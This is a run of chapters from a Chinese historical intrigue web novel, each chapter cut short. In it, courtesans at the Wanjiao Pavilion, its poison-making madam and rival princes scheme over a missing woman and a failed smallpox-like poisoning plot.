”那你可寻到了?”兰香急忙问。

然嫣红此时却忽然眼光闪烁不定起来,一脸难色,似是有些犹犹豫豫不知该不该说,又似是满腹心事不知该如何说出口来吞吞吐吐道“我...我...”

兰香见了生气地道“哼...这都什么时候了,你若真拿我当你姐,想我帮你,那就将所有事情一字不漏地说与我听,越详细越好。如果你还如此犹犹豫豫这般模样,不想说的话那就算了,以后你自己的事自己看着办吧,我也懒得替你操这份闲心。”

兰香说完便佯装着站起身来背过身去对着她,露出一脸的不屑之色“你走吧,我很忙,没有时间在此与你多废话。”

嫣红看到亦连忙起身拉起她的手哀求着“香儿姐,你不要生气。我...我说...我都说。”

原本嫣红也是同样以为自己真的可以如她娘临终时所言,只要找到这个所谓的大恩人,自己今生便也算是有了新的依靠,可谁想这一切却并不像她们想象中的那么简单。

原来,这个所谓的大恩人,她的身份一直都不是那样的简单。

她们母女与其一同生活了十几年,她竟将自己隐藏地那么深。似是从来她们都不曾认识过她一样。

事到如今,这个唯一的依靠不仅仅早已失去了做她避风港湾的能力,而且还将她拖进了万娇阁这无尽的苦海之中……

嫣红随即缓缓踱步,在兰香房内的内室外室里到处走了一圈,扫了一便兰香整个屋子里的装饰。

兰香不明其意,亦跟随着嫣红的脚步缓缓一边走一边目视着嫣红所落

目过的地方。

许久后,嫣红忽然驻足停留在在兰香房内的那幅蓝狐蝶图前端详了半晌后,出声神秘地问兰香“香儿姐,你可知道为何嫣红一来到万娇阁里,便会住到比香儿姐这间房还要好的隔壁的那间屋子么?如果嫣红没猜错的话,香儿姐房内这墙上所挂的蓝狐蝶图,乃是出自这万娇阁里的老鸨之手,她依照嫣红房内的那幅真迹临摹出来的。嫣红说的对么?”

“那个房间,老鸨不是说,是重新专门腾出来将其归置好,给这万娇阁的姑娘们梳拢用的上上房么?因为客人们花了大价钱,所以每个新进的姑娘第一次接客,从你开始都会是在这间房里度过的,不是么?即是如此,那蓝狐蝶图的真迹放在你那个房里也就是无可厚非了呀!”兰香一脸正色着回答道。

嫣红听了嘴角微微勾起,笑了笑不以为然地摇摇头道“那只不过是老鸨为了掩人耳目,在嫣红进来万娇阁时找的一个借口罢了,香儿姐竟也相信?”【…*¥*更好更新更快】

“哦,此话怎讲?莫非...那间房是特意为嫣红你安排的?”兰香顿时惊讶道。

嫣红看着兰香的眼睛,朝其依然微笑着点点头肯定道。

兰香稍一犹豫,猜测道“如此说来,嫣红在这万娇阁里定是有十分熟悉的人咯,能住上那种屋子,想必所识之人定还是能与上面的主子说得上话的。”

忽然,兰香心中顿时为之一怔,觉得自己好傻。不禁想起自己之前奋不顾身地为嫣红所挡的所有灾难,竟是她一切都自作多情了。

没想到嫣红在万娇阁里竟会有如此坚实的靠山,根本就不需要她的帮助。

半晌后,一回神,兰香苦笑一声道“哼...既然如此,你还在我面前装什么可怜,枉我之前为你受了那么多苦,险些连命都丢了。你若去求那个能在万娇阁里呼风唤雨的靠山,岂不更好?”

这时,嫣红方才缓缓说道“事情并不是香儿姐所想的那样。香儿姐一定不会猜到,那个当年收留并救了我们母女性命的大恩人,她在离开了与我们母女独居于偏僻的山脚下的那座小屋后,竟成了这万娇阁里的老鸨。”

“什么?原来是她,难怪...”兰香一听顿时惊声道。

愣了半晌后,兰香依旧疑惑不解地问道“

第一百二十三章:原是,醉翁之意不在酒

送走了嫣红,兰香走出房门,来到楼道的栏杆旁边,刚好看到了正准备上楼来的老鸨,便往前两步叫住了她“妈妈,请留步。”

其实,老鸨正是看着嫣红上来所以才上楼来的,好像有什么事想说的样子。

听到兰香唤她,便迅速作出一副她平日里喜盈盈的常态来,甩着香帕子大声道“哎呦,妈妈我还当是谁呢,原来是我的好女儿兰香啊。今日给你的那位城西来的英俊潇洒的衣家公子如何啊,妈妈没有亏待你吧?!那位小爷可真是要钱有钱,要模样有模样啊,最重要的是,那可还是个雏呢,女儿可还称心如意?对了,他人呢,不会下不来床了吧?”

老鸨一说完,便掩起鼻翼轻笑起来。

然兰香却并不理会老鸨的这些惺惺作态之举,一上前走近她身旁,便自顾自直接压低了声音提醒她“妈妈答应过女儿,等玉娘的事完了之后,便将女儿的卖身契还给女儿的,妈妈不会忘了吧?!”

老鸨闻之立刻拉起兰香的胳膊,又神色慌张警觉地向四周张望了一圈……

见幸好没有被外人瞧见或听见,于是赶忙将兰香推进房内“哎呀,我的小祖宗啊,你这说话怎么也不挑挑地方呢,这种话怎么能随时随地想说就说出口来呢?!”

然兰香却用那似是极为轻蔑的眼神看着她,一脸不在乎的样子。

此时,在她的心里只想赶快拿到自己的卖身契,带着外婆永远地离开这个让自己厌恶至极的地方。

见此,老鸨方才不得不耐下性子来对其认真说道“此事关系重大,我们都必须要步步谨慎,全程当心。如若一不小心,致使主子的整个计划满盘皆输的话。到时候,不要说你的卖身契了,恐怕就连你我的性命都是保不住的。你可千万不能因为自己的一时的疏忽大意而酿成大祸啊。”

兰香闻此,忽然间口气缓和了下来,随之莞尔一笑,又一次好奇地试探道“妈妈莫要多心,女儿只不过是稍加提醒妈妈,不要忘了当日对女儿的许诺而已...对了,听妈妈这样说,妈妈似乎对阁主很是了解的样子,想必妈妈一定知道主子究竟是什么人吧?妈妈也一定知道主子在处心积虑地计划些什么,对么?还有,妈妈平日里给玉娘用的那些药,究竟是做什么用的?”

兰香话音刚落,老鸨忽然一双眼睛狠狠地瞪向兰香,朝着其身边缓缓走过去,将兰香逼得一步一步后退了去,并说道“吃自己的饭,走自己的路,不该问的就不要问,不该说的更不要多说,管好自己的嘴,否则必会招来杀身之祸。玉娘的事,已经是你见过的不该见的事了,如果不是妈妈我护着你,跟主子求情,怕是你早已被主子碎尸万段了,你信不信?”

听到这席话,兰香忽然异常吃惊,她蓦然想起上次玉娘的事,却是至今都还是有些惶惶不安地后怕着。

那时候,兰香尚且还沉浸在对万娇阁沉稳霸气的主子拓跋泽的痴痴迷恋中。

而玉娘的出现让她彻底失去了拓跋泽对她也仅有的一点点关注。

于是,她便预谋着不怀好意地故意接近玉娘,使出浑身解数地百般讨好她,取得她的信任,想要借机再次夺回拓跋泽对她的注意。

就在美人血即将养成的后期关键时刻,老鸨对玉娘的看护便更加严密。

于是,平日里,兰香便成了玉娘与秦王府联系的唯一纽带,而玉娘却并未告诉兰香那是秦王府派来的人。

有一日,正好是轩辕翰吩咐程良将北烈国大皇子拓跋泽的画像,让人秘密送到万娇阁里给玉娘多加留意的日子。

兰香替玉娘一拿到秦王府送来的画像,偷偷展开来一看竟是自己最熟悉不过的人。

可她将那张画像拿在手里端详了半天,也没看出什么端倪来,那真的只是一张画像而已,没有任何字迹,只这张画像给玉娘到底是什么意思?

就在她正在一边出神地暗自琢磨着,一边上楼走到玉娘的房门口,亦就是兰香目前所居住的房间门口时,她忽然从半掩着的门缝里看到了惊人的一幕。

老鸨正端着一碗药汤,一边捏着玉娘的下颚,一边强行着给玉娘将其灌下,玉娘的全身似是都在拼尽全力痛苦地挣扎着,却如何能对如此身形的老鸨有丝毫的撼动。

终于,一碗药汤全部下肚,不知为何,玉娘整个人亦都随之晕了过去。

这时,老鸨似是眼睛的余光发现了门口兰香的存在,就在兰香还怔在门口目瞪口呆地望着躺在地上一动不动,不知到底发生了何事的兰香发呆时,老鸨一双恶狠狠渗人的眼睛忽然闪现在半掩着的门缝前,如同幽灵一般地瞪着兰香的眼睛,兰香立马被惊吓得打了个颤,稍一回神,她眼疾手快地将手里的画像藏了起来。

接着,老鸨一把将其从门缝里捞了进去,将房门紧紧扣上。

兰香一被老鸨甩进到房内,便紧紧背靠着墙,瑟瑟发抖着怯怯地求饶道“妈妈饶命,女儿只是路过,其实什么都没看到,真的什么都没看到……”然说这句话的声音却越来越低。

然老鸨听了,却并没有说话,而是将目光落向了房内的那幅紫色郁丁香花珠帘。

兰香亦惊恐地随之缓缓将目光移了过去。

若是换作别人,她可能还真的会有些迟疑或者认不出。然此时,即使有密密排列着的珠帘遮挡着,她仍一眼便认定了,那正是她熟悉的再也不能熟悉,几乎已经是刻在自己脑海中,那个让她曾经多少个日日夜夜里魂

牵梦绕沉稳霸气的男人。

她这才反应过来,他并不是像她想象的那样,是喜欢在意玉娘。

&nbs

第一百二十四章:老鸨的恻隐之心

“有毒!”兰香看到,终于忍不住惊恐地叫出了声,同时用自己双手紧紧地捂了嘴。

闻此,隐身于珠帘后的男人朝着老鸨使了个眼色,老鸨便立刻从袖子里掏出一把亮闪闪看似锋利无比的匕首来,朝着兰香的身边一步一步缓缓逼近了过去。

兰香惊诧万分眼睁睁看着老鸨手中举着的匕首,紧紧地贴着身后的墙,一边摇头乞求着,眼泪早已顺着脸颊两边滑下。

就在她绝望地闭起双眼,放弃哀求,准备接受眼前的灾难时,忽然听到了匕首掉落在地上发出的清脆的响声。

她瞬时睁开来眼睛,却看到老鸨重重地跪了下来在地上,竟为她向那珠帘后的男子求情“主子,请主子饶了这个丫头吧。老奴保证,老奴一定看管好这个丫头,她绝对不会将今日之事泄露出去半个字。如若她将今日的事说了出去,老奴愿以死谢罪,求主子了。”

话音未落,老鸨便已重重地叩首了下去,等着那男子的回应,而兰香却早已惊魂不定地被吓呆在了一旁。

然那男子却并未说话,室内众人沉默了片刻过后。只见男子忽然起身来,径自向着门外踱步走了出去,将门轻轻掩上。

这时,老鸨方才抬起头来,擦了擦鬓角渗出的细汗,缓缓起身将至今还呆愣在一旁的兰香跌跌撞撞地扶到桌案边坐了下来。

兰香刚一坐下,看到眼前案上小白可怜的尸首,这才伏在案上哭出了声。

而老鸨却早已无心顾及她的情绪,随之将目光转向了另一边地上,急忙走过去探了探直到现在一直躺在地上的玉娘的脉息,又翻动她的眼皮查看了片刻。

之后,抬起头对着尚还惊魂未定地伏在案上抽噎哭泣着的兰香道“还不快过来帮忙?!”

兰香闻声,这才缓过神来,用手背抹了两把脸颊上的两行热泪,又吸了吸鼻子。便起身来向着地上的玉娘身边走过去,弯腰帮着老鸨将其抬到了内室的床榻上。

这时,兰香有些失落和忧伤地开口问道“妈妈,玉娘这是怎么了啊?她是不是也和小白一样中毒身亡了?”

“没有,玉娘的情况方才我已经都仔细查过了,她不会那么快死的。”老鸨一边帮昏迷中的玉娘整理头上凌乱的头发,一边朝兰香回道。

“妈妈,主子为什么要这样对玉娘?主子不是很喜欢玉娘么,还带她去了他的房间,主子可从来都没带过任何女人进过后院他的房间的呀?”兰香疑惑地问。

老鸨看着玉娘此时平静而又苍白的脸,冷笑一声,说道“哼...主子那样的人,怎么可能会真的喜欢上谁呢?!”

闻此,兰香陷入了深深的沉思之中。原来,自己为了那个人,无数个日日夜夜里,她处心积虑地对玉娘

所做的这一切竟都是枉然。

这万娇阁里,真的是阴谋重重。

稍一回神,兰香对老鸨謝道“今日真是多亏了妈妈了,谢妈妈救命之恩,兰香没齿难忘。只是今后……”

闻此,老鸨眼睛缓缓扫了一眼这间屋子,打断了她的思绪,道“这间屋子以后就给你住吧,只是今日这里发生的一切,你一定得给我把嘴闭紧了。还有,今后你一定要听我的话。等这件事过了,我会跟主子请求,将你的卖身契还给你,放你自由。我知道你是被一个负心汉诓骗卖到这里的。”

“妈妈说的可都是真的?兰香以后真的可以住在这个房间么?这间屋子宽敞又明亮,布置和装饰也颇具气派,可是万娇阁里姑娘们所住的最好的一个房间了。还有,妈妈说什么…妈妈您刚才说…说真的会等这件事结束后还兰香的自由之身么?”兰香一脸吃惊又欣喜地说道,甚觉极为不可思议的说话竟有些结巴了起来。

老鸨朝其认真地点点头。

其实一直以来,老鸨自己也不是很清楚,她的心里为什么会对这样的一个风尘女子存有一份恻隐之心。

也许是因为在她的内心里觉得在整个万娇阁,兰香是最聪明伶俐的一个,也是凡事最敢拼命的一个。

她觉得兰香敢爱敢恨,经常会为其他姐妹们出头;她也很好强,凡事都会尽全力做到最好;在兰香的身上,老鸨似乎仿佛还能找到自己曾经还是个姑娘的时候,她的影子;

而让她起了这个念头的原因,更是因为,兰香曾经在她外出的时候帮助嫣红挡下了梳拢之祸。

除了身为一个不由自主的风尘女子之外,在其它方面,兰香似乎要比她活的更恣意一些。不像她如今这般,被人控制着,小心翼翼如蝼蚁般渺小地生活在潮湿阴暗的夹缝里。

表面上看起来,她也算是在同行里有些头脸的人物,可实际上,她却连大口喘气都很难做到。

可为了有生之年能够再见她的儿子一面,只要一面,她又不得不对这个北烈国大皇子言听计从,助纣为虐,以至于到如今越陷越深,做下这么多伤天害理的恶事。

她自是知道,这一世,她坏事做尽,死后一定是会下十八层地狱的。可只要她的儿子好好的,她就算死后魂飞魄散,那又如何?!

她又怎能不知,北烈国皇子拓跋泽是个心狠手辣,极其阴险之人。虽然他们之间早有约定:她以毒术助他夺取天下,统一灵空四国,而他必须答应到时候放过她的儿子,让她们母子团圆。

但是,正所谓“飞鸟尽,良弓藏;狡兔死,走狗烹”,她心中岂能不知,无论拓跋泽的计划到最后到底是输是嬴,他都不可能会让她好好活着。

既然横竖都是

死,与其大家一起共赴灭亡,倒不如,放这些无辜的孩子一条生路。

这些年,她在万娇阁里演戏演的太

第一百二十五章:从开始到现在

这时,忽然上来一个小厮,他是见易君浩回来,特意上楼前来帮他开门的。只见小厮的手里似是还拿着一封信函,一走到易君浩身边便恭敬地将信函递上,说道“公子,有您的信。”

之后,便很快替易君浩将房门打开,易君浩迅速接过来将其打开来一口气看完,之后口中喃喃道“也罢,城南里还有些事尚未处理完,待办好一切再来这香满楼与丫头一起汇合回城西。”

一回神,易君浩问小厮“你可知道隔壁房内的客人今夜是否已经回来了?”

“天都这么晚了,客人们应该都早已回来歇下了吧?!”小厮挠着脑袋,猜测着说。

于是,稍一迟疑,易君浩朝一旁的小厮吩咐说道“本公子有事要暂时离开香满楼几日,现在留一封书信在此,明日你替本公子交于隔壁这个房间的客人。”

易君浩一边说着,一边走到书案边拿起笔留下了一封书信交于了小厮,并打赏了他一锭银子。

随后,便和小厮一道下了楼去。

小厮送他走到香满楼门口的时候,易君浩仍不忘再次叮嘱了他一次“切记,务必亲自将此信交于那位客人。”

“公子放心,小的一定会亲自将信交到那位客人手中。”小厮信誓旦旦回道。

易君浩看了他一眼,又抬头朝二楼衣上云的窗口依依不舍地望了片刻,心里道“丫头,乖乖等我回来。”方才转身离去,消失在一片茫茫的晨雾之中……

易君浩前脚刚刚离去,后脚轩辕翰便身着一袭锦衣白袍,墨发全束,尊如神袛般地从三楼缓缓走下楼来。

程良在前面径直将其很快带到了二楼的天字号客房,衣上云的房间门口,似是害怕惊扰到了里面人儿的美梦一般,他小心翼翼地将门轻轻打开来。

随后,轩辕翰便缓缓踱步进去,目视着眼前的一切,入神地对其沉默着,沉浸在这片留着衣上云的气息中……

客房内的陈设之物竟亦都是少女闺房所用,所有用品都是上等品质,极尽奢华。

房内挂着紫色的轻纱幔帐,笼罩出一种隐隐约约朦朦胧胧温馨的气氛。一阵晨风吹过,那紫色轻纱随着窗外徐徐吹过的风儿起舞飘动着。

环往四周,房内尽是用的上好的檀木,不时飘来一阵紫檀香,幽静而美好。尽是细致地精雕上不同花纹,处处流转着属于女儿家的细腻温婉感觉的木制家具。

靠近窗边,有个瓷盆中栽着一株娇艳的珍珠梅。

窗内,花梨木的书案上摆放着一叠上等宣纸,砚台旁的笔筒里搁着几支粗细不同的毛笔,似是在展示着这房内所住的人儿亦是书香人家的千金小姐。案上还放着一支花瓶,里面插着一枝冬梅,显得有些遗世而独立。

驻足观望了半晌后,他又缓缓踱步走进内室,是闺中女儿家都有的梳妆台,上面摆着一面菱花铜镜和朱红漆雕喜鹊梅花的首饰盒,还有一些细索的珠翠饰品。

轻轻挑起璎珞穿成的的珠帘,卧榻边的牡丹屏风便首先映入了眼帘。

屏风后,檀香木的雕花床榻上挂着外层绸绫,里层轻纱的双层紫罗兰色床帐,头顶是一袭一袭的流苏,随风摇晃着。

内室里靠窗边的一角上,高面盆架的横板上上放着玫瑰胰子,架子的最上方整齐的搭着一条洁白的绸巾。

眼前所有一切,让入住这间房的人,无论房间设计还是屋内摆设以及贴身用品,乃至于到细微的胭脂水粉,无论是哪户千金降临,相信都会有一种宾至如归的感觉。

轩辕翰一边朝内走,目光一边四处仔细探索着。

忽然,他将目光落在了放在床榻上的一个被整理的整整齐齐的暗纹锦缎包袱。

顿时,他那双深邃炯炯有神的眼眸朝其一怔,三步并作两步地移步过去到床榻边,撩起袍角坐了下来,看着眼前的包袱心里暗自猜测道“这是她的行礼?”

稍一迟疑,只见他缓缓伸出来一双骨节分明的大手,将榻上的包袱轻轻打开来。

顿时,一套他熟悉的不能再熟悉的藕粉色衣裙和一件厚重的红底绣着几株白梅的锦缎斗篷现了出来。

除夕夜,她正是穿着这身衣装与他有了第一次极为亲密的肢体接触,确是让他悲喜交加。

念及此,他用一只手一遍又一遍温柔地抚摸着它,似是在轻抚着一个自己心上娇柔的美人儿白皙姣好,吹弹可破的面庞似的小心翼翼。

片刻后,他又轻柔地拾起了里面的那支嵌着两朵桃花的长流苏簪子,拿在手里一边轻轻地转动着,一边眼睛柔情似水地注视着它。

顿时,过往关于他们相识里,所发生的所有一幕幕,从开始到现在,一起涌上心头……

半晌后,稍一回神,他忽然皱起眉头来,将那支嵌着两朵桃花的长流苏簪子紧紧攥在手心里握着“程良。”

 

第一百二十六章: 她可怜,难道你不可怜?

轩辕翰不紧不慢地分析“那兰香得知玉娘不见了的消息,竟还敢冒险前来将拓跋泽的画像还回来,而没有立刻翻脸不认人,想必和玉娘亦是真的有些感情的。云儿来万娇阁里,也正是出于关心为了替灵儿婆孙寻回玉娘的消息。然她寻不见玉娘却恰巧让她碰到了与玉娘平日里极为交好的兰香。那兰香又良心未泯,既然如此,她又怎么可能伤及无辜的云儿呢?”

然程良听了依然心中纳闷道“那属下就不明白了,既然如此,那兰香究竟为何要将衣姑娘带出万娇阁呢?就说玉娘已不在万娇阁里,把她打发走不就行了么?她又到底带衣姑娘去了哪里?”

顿时,轩辕翰的眼神变得极为悠长,单手负后着,身姿挺拔地立在内室的窗口,看着窗外天微微亮的时候,河边散发出来的一层薄雾,沉默了半晌,忽然开口道“这万娇阁里,确实有着太多的阴谋,这次本王务必一定要将其彻底捣毁,决不姑息;玉娘,她一定就在万娇阁里面;兰香带走云儿,则是想要保护她。”

话一说完,轩辕翰便收回视线,低下头来,将负于身后的那只紧紧握着的拳手放在身前来缓缓张开,随即看着手里紧紧攥着的那支嵌着两朵桃花的长流苏簪子发起呆来……

许久后,他缓缓回过神来,似是心中已经有了主意,抬起眼对着程良说道“先派人把那个叫兰香的女子监视起来,包括平日里和兰香交好的人。但切勿打草惊蛇,看看她到底想做什么,她一定知道万娇阁的许多事情。另外,一定要将万娇阁里的暗室尽快找出来,如果还找不出就放大一下搜索范围。如果本王没猜错的话,玉娘一定是被他们藏在了密室里。仅凭一个区区老鸨女流之辈,还翻不了这么大的浪。万娇阁真正的主子,极有可能便是潜入我西秦的北烈国大皇子拓跋泽。他要监视着万娇阁的一举一动,必然不会走远。”

“放大搜索范围……是”程良琢磨着领命。

然话刚说着,程良似是心中尚还有另一事疑惑不解“殿下,属下还有一事不明。”

“可是那俩个带云儿来万娇阁的神秘男子?”轩辕翰脱口而出道。

程良惊道“殿下英明,那带衣姑娘来城南万娇阁的带着面具的男子究竟是什么人?为什么又会突然不告而别了,他们处心积虑地守着城西衣府,意图寻找机会将衣姑娘带来这里,这一切到底是为了什么?不会又是拓跋泽的人吧?”

轩辕翰闻此眼睛顿时一怔,稍一犹豫,说道“想必应该不会是拓跋泽的人,他并不识得云儿,更不会搬起石头砸自己的脚,带她回到万娇阁里找人。此人意图想要接近云儿是真,但却未必是想带她来这里。他们到底是什么人…你可还

记得那个东宁国三皇子梅志煊?”

程良稍作回忆道“殿下是说,您大婚时候东宁国的那个送亲使者三皇子梅志煊,他送亲礼结束后不是已经回国了么?”

轩辕翰眨了下眼睛,说道“记得当时玥儿说从那个衣府门前茶馆的掌柜那里打探到带走云儿的人是来自东宁国的商人,那时本王便已经怀疑这两个东宁国商人在我西秦怕是不仅仅只是简单的商人而已;直到见到他们在如意居里登记的入住客人信息竟是‘江志煊’……”

轩辕翰话还没说完,程良急急抢过来说道“‘梅志煊’‘江志煊’…殿下是怀疑这江志煊实际上是东宁国三皇子梅志煊?!”

轩辕翰闻之却并没有说话,只是不由得深深地皱起了眉头,眼睛顿时发出甚是寒厉的光来。

程良见了瞬时满脸怒色道“竟然是他,真是可恶。这个东宁国,果然是对我西秦心怀不轨,背地里一直宠宠欲动着。还妄想借以将其公主送到我西秦内和亲,与其里应外合,助其成大事。这梅志煊明摆着就是一直暗伏在我西秦境内谋划着这一切,怕是送亲结束后根本就没有回到东宁去。”

“梅志煊,看他对我西秦地境熟门熟路,知之甚多。就连到达这万娇阁的速度都如此之快,竟比本王的速度毫不逊色,他定是走了捷径。只怕他在西秦里已不是一天两天了。”轩辕翰幽幽道。

“可是他究竟为什么要接近衣姑娘呢?他们并不熟悉的啊,衣姑娘只是个普通的女子而已。”程良一转念随即又问。

见到轩辕翰闻此并未做声,程良心中亦顿时觉得西秦目前的局势远远比自己想象的更加严峻。

主仆俩沉默了半晌之后,程良开口安慰说道“殿下也不必太过忧心,目前无论是衣姑娘还是玉娘,没有消息便是好消息。属下这就下去重新安排,这次一定将藏匿玉娘的密室找出来。”

“衣府周围就不必搜了,顾忌那梅志煊已是发现了本王亲自前来找云儿,早已经逃脱了,他也定已经料到本王会在城西衣府严加搜查,绝对不会再回到那里做瓮中之鳖的。只需要派两个得力的人手在其附近暗中守着,这次没成功,或许他还会再去找云儿的。还有那易三少,此人背景虽是不可小觑。但事急求全,无论他是何身份,可对于云儿,本王相信他是绝对不会伤害到她半分。因此,也许我们可以与他合作。”轩辕翰镇定地叮嘱道。

“属下明白。”程良说着,便恭敬地朝其行礼退了下去,将门轻轻掩上。

顿时,一室寂静,轩辕翰再次松开来那只紧紧握着的拳头,看着手心里紧紧攥着的那支嵌着两朵桃花的长流苏簪子,轻叹口气,自言自语道“究竟你和东宁国有什么关系,

怎么会被其皇子盯上了?……”

万娇阁后院,拓跋泽的房间里。

拓跋泽紧握的拳头重重地拍在了面前的案几上,瞪大着眼睛朝老鸨怒道“什么?今日来的那两位客人不见了,你到底是怎么办事的,难道俩个大活人还能凭空消失了不行?”

老鸨见其大怒,慌忙地双膝跪地,怯怯地解释道“老奴实在也不知啊。当时,官兵来到阁里四处搜查,一片混乱。老奴只顾着打点官差,应付客人了。”

拓跋泽仍气势不减,稍一迟疑问道“当时是谁侍候那俩人的?”

老鸨有些犹犹豫豫地说道“是…是兰香和嫣红…可她们都是很懂事的,绝对不会做背叛万娇阁的事情。”

然拓跋泽根本似是没有听到老鸨后面的话,只自顾自地回忆片刻后,问道“兰香,可

第一百二十七章:煮熟的鸭子飞了

老鸨这才缓缓开口问道“万娇阁里素来太平,往日即便是官府不得已一定要走走过场,也只会派赵捕头带两个人过来瞧瞧,可今日为何官府会如此声势浩大地闯入万娇阁里前来寻事?还有,那个叫做衣上云的女子究竟是什么人,殿下为何对她如此上心?官府手里的画像上亦是看不到任何说明,并不像是在抓捕逃犯?”

拓跋泽听了深吐一口浊气,对其道“衣上云…她可并不是什么逃犯。今日来的这些官兵可不是普通的官兵,他们…是秦王府派来的。你是医痴,亦是顶级的毒蛊师,你可相信在这世上,竟有人能破解得了天花之毒么?这样的人,你是不是也觉得很好奇?而更重要的是,似乎这个西秦国战神,秦王轩辕翰对她也很有兴趣。”

老鸨听闻顿时大惊道“什么?殿下何时取走了老奴所制的天花毒?这一切到底是怎么回事?”

拓跋泽带了些轻蔑的眼神瞥了她一眼,道“前些日子,本皇子得知那被西秦璟帝安派在外,往灵空诸国游历的西秦太子,即将从南安的国土回到西秦皇宫里。本打算在其归国的途中除掉这个祸患,亦是给那西秦璟帝一点儿颜色看看。可是后来...本皇子忽然想到了一个更好的可以两全其美的办法。这个办法既可以让西秦和南安境内同时发生一场囫囵而至的天灾。若那太子不是个呆头呆脑的,被他猜测反应过来自己是在南安境内中毒的,如此便又可以在不知不觉间挑起西秦与南安的一场大战。怎么样,本皇子的计策不错吧?!”

“什么?”老鸨听闻,心中顿觉不可思议地惊愣住。

拓跋泽看着老鸨此时极为惊讶的表情,停顿了片刻,接着叹了口气继续说道“只可惜,这一切竟然被一个黄毛丫头给搅黄了,她竟破解了你所制的天花之毒。那西秦太子到现在都还好好地活着,就像什么事都没发生过一样。本皇子费尽心机所设计的这一切竟然没能使一人中毒,本皇子甚至差点儿怀疑是不是你制的毒有问题。”

看着拓跋泽投过来的带着质疑,极为严厉的眼神,老鸨扑通一声跪倒在地“殿下明鉴,老奴绝对不敢诓骗殿下,老奴保证那毒一定不会有任何问题。许是这大千世界,真的有人比老奴更技高一筹,解得了这天花之毒也是有的。只是...真是那个女子解的毒么?”

这拓跋泽果然歹毒阴险至极,竟然派人偷偷取走她炼制的毒。幸亏当时她在制这味毒的时候,除去了天花毒极强的传染性,只保留了其表面的特征,使其看似和天花的病症一模一样,却并没有任何传染性。否则,这天下怕是如今早已饿殍满地了。看来以后要更加小心

地提防他了。

拓跋泽闻之不言不语,只是暗自冷哼一声。

老鸨却顿时领悟道“难道...他就是殿下口中所说的衣上云。今日来阁里的那个遮着面纱的公子,便是那秦王轩辕翰在万娇阁里所寻找的叫做衣上云的女子,她是乔装成男子的。”

“蠢货,到现在才发现。可惜,这送上门来的煮熟的鸭子就这样飞了。你还不赶快滚回去问问清楚你那个好女儿,究竟将这人带到哪里去了?”拓跋泽怒骂道。

然老鸨心念一转,又疑惑地问道“方才殿下说,西秦秦王轩辕翰对她也很有兴趣,不知殿下这话又是什么意思呢?”

拓跋泽稍一迟疑,便对其幽幽道“传闻西秦秦王爱才惜才,曾其年幼时便已经盛传轰动整个灵空大陆的唐门陆贤一事,让那天下奇才陆贤自此一生都以他马首是瞻。而今又出了这样的解毒高手,谁又不想将其纳入自己麾下呢?!”

说起医药、毒蛊、下毒、解毒之术,老鸨自认为在这灵空大陆里,她已是极为顶级的了。看今日那女子的年龄,左不过也就是个十七八岁的孩子,竟会有如此高超的解毒之术,她的心里着实对其亦是产生了兴趣。只是,这二人今夜究竟是如何离开的......

思及此,老鸨急急回过神来禀道“是老奴眼拙,竟没能识出她是女扮男装的,老奴这就下去仔细寻人去。”

拓跋泽朝其无奈地摆了摆手,老鸨便缓缓起身来退了出去。拓跋泽随即望向窗外,一夜未眠,脸上早已是满满的倦意,却又满腹心事不能安睡去。如今,万娇阁内似乎已经极为不安全了,此时想必那秦王轩辕翰定是明里暗里地已将整个万娇阁围得水泄不通了。这老鸨一直以来也似乎并不是那么可靠,对自己诸多的阳奉阴违......

想着想着,不禁发出一声长叹来,口中暗自喃喃道“衣上云......”

转眼间天色已经大亮,万娇阁附近的一座甚为不起眼的简朴民宅里,衣上云亦缓缓清醒了过来。

兰香昨夜里朝她重重劈下去的那一掌,显然一点儿也不轻,竟使她一夜都未曾醒来过片刻。

这时,一位老婆婆一手拄着拐杖,另一手夹着一木盆水,步履蹒跚地从院子里走了进来,一掀开门帘进门便和气地说道“姑娘醒啦!”

衣上云尚还未完全清醒,只觉脖颈后方疼痛不适,想要伸手出去轻抚,这才发现自己被一根草绳五花大绑着,她本能地挣扎晃动了几下,绑的倒是挺结实的,竟一点都挣开不得。

&n

第一百二十八章:传说中的神秘部落

“婆婆莫要挂心,兰香是个好姑娘。她在外面是在靠自己的本事讨生活呢,婆婆不要多心了。许是在外面的日子时而有些辛苦,诸多不易,所以才偶尔会对婆婆发些脾气,没事的。”

“真的么?她真的是在靠自己的本事讨生活。”婆婆一听,有些出乎意料地欣喜道。

衣上云朝其微笑着,用力地点点头。

“好...好...这就好。哦,我来给姑娘把绳子解开。”婆婆高兴地一边说着,一边转身朝衣上云身边走了过去。

就在婆婆的手刚触摸到紧紧缠绕在衣上云身上的那根草绳的时候,门外忽然传来了一声“住手。”

闻此,衣上云和婆婆的目光不约而同地看向了门口。

只见兰香伸手掀开了门帘来,却只站在门口一动不动,像是被钉在了原地一般,只怒目对着俩人。

片刻后,方才开口埋怨道“外婆,你怎么能忘记香儿对您的交代呢?香儿不是千叮咛万嘱咐,让您看好这个人么,你怎么能帮她解开捆绑呢?”

婆婆急忙拾起拐杖起身来,笑着向兰香走过去,解释道“香儿,这个姑娘是个好人。她...”

然兰香不等她将话说完,便急急打断了她,朝她冷哼一声说道“哼...好人?这世间何为好人,又何为歹人,外婆要是能分辨的清楚,香儿也不会是今天这副模样了。”

“香儿,你...”只见婆婆瞬间褪去了脸上的笑意,话到嘴边却又吞进了肚去。

这时,兰香的目光从婆婆的脸上移至衣上云身上。

婆婆看看她,又转头看看床榻上被绑的紧紧的极为不适着的衣上云,无奈地气道“好,好,好...这一切都怪我,都是我的错,我的错。以后,你爱怎样便怎样吧,我永远都不管你了,好了吧?”

话一说完,婆婆便拄着拐杖气呼呼地走出了屋去。

这时,衣上云开口道“你怎能如此同你外婆讲话?她独自一人将你抚养成人,是多么不易!”

“你住嘴,你知道什么。”兰香一边朝衣上云身边走过去坐下,一边对其怒喝道。

衣上云轻叹了口气,说“我知道,你外婆原来根本就不知道你这几年在万娇阁里做那种事。”

兰香闻之即刻抬起眼怔了一下,随即俯身到衣上云的面前盯着她的眼睛压低声音问道“你将此事告知了外婆?”

衣上云一脸正色,说道“没有,我只是告诉她说让她勿要挂心你,说你是个好姑娘,在外面靠自己的本事讨生活呢。”

“哼...算你识相会说话。”闻此,兰香心中方才安心了

许多,含笑对衣上云说道。

随即,她起身来到案几边倒了盏热茶“看你表现还不错,本姑娘今儿心情也好,不妨告诉你一件事。”

“和玉娘有关?”衣上云急道。

兰香一听,刚入嘴的一口茶水差点儿喷了出来“咳咳...咳咳...咳,我说你这个人,还真是够执着的啊。难道你的脑子里就只有玉娘么?”

